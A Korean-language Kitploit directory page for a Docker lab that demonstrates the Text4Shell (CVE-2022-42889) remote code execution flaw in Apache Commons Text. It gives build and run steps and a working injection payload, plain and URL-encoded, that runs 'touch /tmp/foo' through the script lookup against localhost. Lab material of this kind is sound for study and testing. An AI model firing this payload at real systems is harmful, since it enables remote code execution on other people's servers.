Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2022-42889-text4shell — Apache Commons Text의 CVE-2022-42889(Text4Shell) 원격 코드 실행 취약점을 시연하고 테스트하기 위한 Docker 기반 랩 환경. | Kitploit
도구/GitHubGitHub/dima2021/cve-2022-42889-text4shell
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubdima2021/cve-2022-42889-text4shell

cve-2022-42889-text4shell

Apache Commons Text의 CVE-2022-42889(Text4Shell) 원격 코드 실행 취약점을 시연하고 테스트하기 위한 Docker 기반 랩 환경.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
33년 전아직 검토되지 않음

Maven 설치 - maven-linux


  1. fat jar를 생성하기 위해 Maven install을 실행합니다.
root@kitploit:~
mvn clean install
  1. Docker 빌드
root@kitploit:~
docker build --tag=text4shell .
  1. Docker 실행
root@kitploit:~
docker run -p 80:8080 text4shell
  1. 앱 테스트
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. 공격은 앞서 언급한 lookup을 prefix로 하는 문자열 “${prefix:name}”을 전달하여 수행할 수 있습니다:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. dns 또는 url prefix를 사용해 볼 수도 있습니다.

  2. 컨테이너 ID 확인

root@kitploit:~
docker container ls
  1. 앱에 접속
root@kitploit:~
docker exec -it <container_id> bash
  1. 위의 RCE가 성공했는지 확인하려면 (/tmp 디렉터리에 foo라는 파일이 생성된 것을 볼 수 있어야 합니다):
root@kitploit:~
ls /tmp/
  1. 컨테이너를 중지하려면
root@kitploit:~
docker container stop <container_id>
도구 다운로드